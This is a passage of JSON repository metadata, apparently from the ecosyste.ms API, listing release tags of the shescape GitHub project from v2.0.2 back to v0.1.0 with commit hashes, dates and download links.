e/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"3e4c4d68d053aad7a0c8721e5721e54e7628c905","kind":"commit","published_at":"2023-10-28T11:36:18.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.0.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"8c210f7118823f85422dd1d8be4b219e115d3151","kind":"commit","published_at":"2023-09-07T21:42:18.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.0.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.0.0/manifests"},{"name":"v1.7.4","sha":"5b0d2015093d607840c32782eee33c581e772df0","kind":"commit","published_at":"2023-08-21T08:20:25.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.7.4","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.4/manifests"},{"name":"v1.7.3","sha":"05442878aa37dcafd50f6c1d59a7c5fcd46f985f","kind":"commit","published_at":"2023-08-07T07:30:06.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.7.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.3/manifests"},{"name":"v1.7.2","sha":"3d6b0c0d9068ec48cb4aa975d663708c291f001f","kind":"commit","published_at":"2023-07-07T07:46:38.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.7.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"0640cc95c335c88693326aa72f7534a751ef7da7","kind":"commit","published_at":"2023-06-21T21:14:56.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.7.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"68c4a83c740e8dac79c4e52d5503e660340a9a94","kind":"commit","published_at":"2023-06-12T19:02:12.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.7.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.7.0/manifests"},{"name":"v1.6.7","sha":"ce38d76571d9f1bf6e054e90e32e59baf88ccbd2","kind":"commit","published_at":"2023-05-29T10:44:01.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.7","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.7/manifests"},{"name":"v1.6.6","sha":"d8dcbecf9bd3101559dad80fe2eda2869b8e89d9","kind":"commit","published_at":"2023-04-20T07:11:55.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.6","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.6/manifests"},{"name":"v1.6.5","sha":"03fa43347d835f4f743a8aca7d1cc557c51e854e","kind":"commit","published_at":"2023-01-26T20:15:19.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.5","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.5/manifests"},{"name":"v1.6.4","sha":"b6edc97002d18d453007b681f45d73f749bb90c6","kind":"commit","published_at":"2023-01-22T14:42:08.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.4","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.4/manifests"},{"name":"v1.6.3","sha":"9942daca0e82c5ee407a2c3c0b40aab582f0fe75","kind":"commit","published_at":"2023-01-21T14:04:05.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.3/manifests"},{"name":"v1.6.2","sha":"4fe9b2720967f87101bdab3967904bff1cd67cd8","kind":"commit","published_at":"2023-01-03T12:45:53.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.2/manifests"},{"name":"v1.6.1","sha":"dbc5c9d1b3325d45a5f060ff0cd4b3ff761cbbbc","kind":"tag","published_at":"2022-10-25T18:29:52.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"e1915f53479d99b953059d131cbca561ae77948d","kind":"tag","published_at":"2022-10-15T15:05:46.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.6.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.6.0/manifests"},{"name":"v1.5.10","sha":"656ecbc798cb21ab95449d3fb4838a36dd09b6d8","kind":"tag","published_at":"2022-08-21T20:20:24.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.10","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.10/manifests"},{"name":"v1.5.9","sha":"51dda2b6472c1c0ae45b742a10d23ec02d00a751","kind":"tag","published_at":"2022-07-28T07:58:39.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.9","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.9/manifests"},{"name":"v1.5.8","sha":"8b6a0eefe08f9cd4340c3364aa90dda0acb31f18","kind":"tag","published_at":"2022-07-15T15:13:29.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.8","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.8/manifests"},{"name":"v1.5.7","sha":"10e1d0f64f38f97dac07d9a5ef1bd394393ed4b8","kind":"tag","published_at":"2022-07-06T09:11:41.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.7","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.7/manifests"},{"name":"v1.5.6","sha":"ccbb6c9dea5ea706fff7dac765f9004924399145","kind":"tag","published_at":"2022-07-02T09:17:11.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.6","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.6/manifests"},{"name":"v1.5.5","sha":"6bd574a2863ce0edfe8c84ed27c8c1a084ae00b3","kind":"tag","published_at":"2022-06-05T20:24:05.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.5","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.5/manifests"},{"name":"v1.5.4","sha":"e125f0a4d9f5dd896e719d171138f546163a424b","kind":"tag","published_at":"2022-03-07T22:03:14.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.4","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.4/manifests"},{"name":"v1.5.3","sha":"698f5b66601d083874527a92aee3cbe7cb0cb1d9","kind":"tag","published_at":"2022-03-06T11:17:34.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.3/manifests"},{"name":"v1.5.2","sha":"698c61be1837bb018de81c40ce39bdf987134d63","kind":"tag","published_at":"2022-02-23T09:00:02.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.2/manifests"},{"name":"v1.5.1","sha":"542532a64e24ea85044259345451010ca0cce71e","kind":"tag","published_at":"2022-02-20T16:50:55.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"4f58766e3bfd2c8ac38ba4e0be371dfdee8d38e5","kind":"tag","published_at":"2022-02-15T08:20:00.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.5.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"8e0d66f7d69d12c96dce8fc9c539b7d9390dc425","kind":"tag","published_at":"2022-02-08T22:45:54.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.4.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.4.0/manifests"},{"name":"v1.3.3","sha":"ab4ae71c7a5a7d774f75f4d4e01cdab4faac19e5","kind":"tag","published_at":"2022-01-15T17:08:19.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.3.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"0cdab39603695fb62e99460bede8fd7bc57bf3a0","kind":"tag","published_at":"2022-01-05T08:48:20.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.3.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"86fc5e4216ba739c6b0b7cdfcc85f963f7df7841","kind":"tag","published_at":"2021-12-06T20:10:25.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.3.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"4e449684b78fc804ad7a847893cbafc1ea30ef98","kind":"tag","published_at":"2021-12-05T13:41:36.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.3.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"a89709e5382179a3d8258a69b72ccb90d974d432","kind":"tag","published_at":"2021-04-24T17:39:41.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.2.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"76d566c9628c7e1ca80f54d21d7dbcefae6b685b","kind":"tag","published_at":"2021-04-15T11:19:30.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.2.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.2.0/manifests"},{"name":"v1.1.3","sha":"0c934a612c9399c178e0053808f4c6929e866b9d","kind":"tag","published_at":"2021-03-13T16:29:55.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.1.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.3/manifests"},{"name":"v1.1.2","sha":"d9caf7626550a9f7b246337e543a24f97deb75e3","kind":"tag","published_at":"2021-01-07T12:55:27.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.1.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"bd58b3f036ce6c6ea75103d6f683bea724503042","kind":"tag","published_at":"2020-12-30T13:34:42.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.1.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"06997e903a45d37721a5feb004c5b0369b0cc6e8","kind":"tag","published_at":"2020-12-22T18:59:02.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.1.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"337512df34ac42d1b8cfeb52a1d78b9db3ca84f4","kind":"tag","published_at":"2020-12-10T18:02:04.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v1.0.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v1.0.0/manifests"},{"name":"v0.4.1","sha":"bf697d36bba5bbf187ca262198bc9968d7760f74","kind":"tag","published_at":"2020-12-09T22:19:10.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.4.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"8bf2573dd8a71f36df09ac9c495bb12f9ef65200","kind":"tag","published_at":"2020-12-08T21:42:25.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.4.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"15ccb783c5f39651b4f9e1bc37cce1708488883f","kind":"tag","published_at":"2020-12-07T15:12:51.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.3.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"34a0f97bfe407b0693fcf94e482fd630bd4c1cb4","kind":"tag","published_at":"2020-12-07T14:48:44.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.3.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.3.0/manifests"},{"name":"v0.2.1","sha":"1c2db9b3603ac34633d15068c148c9e34c729893","kind":"tag","published_at":"2020-11-07T21:54:07.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.2.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f859411c5c9e24b19ed2829ff0d24828bcec5db4","kind":"tag","published_at":"2020-11-07T21:49:45.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.2.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"96e7289beed437eccc0808328f82c564d574f895","kind":"tag","published_at":"2020-11-06T09:26:15.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v0.1.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v0.1.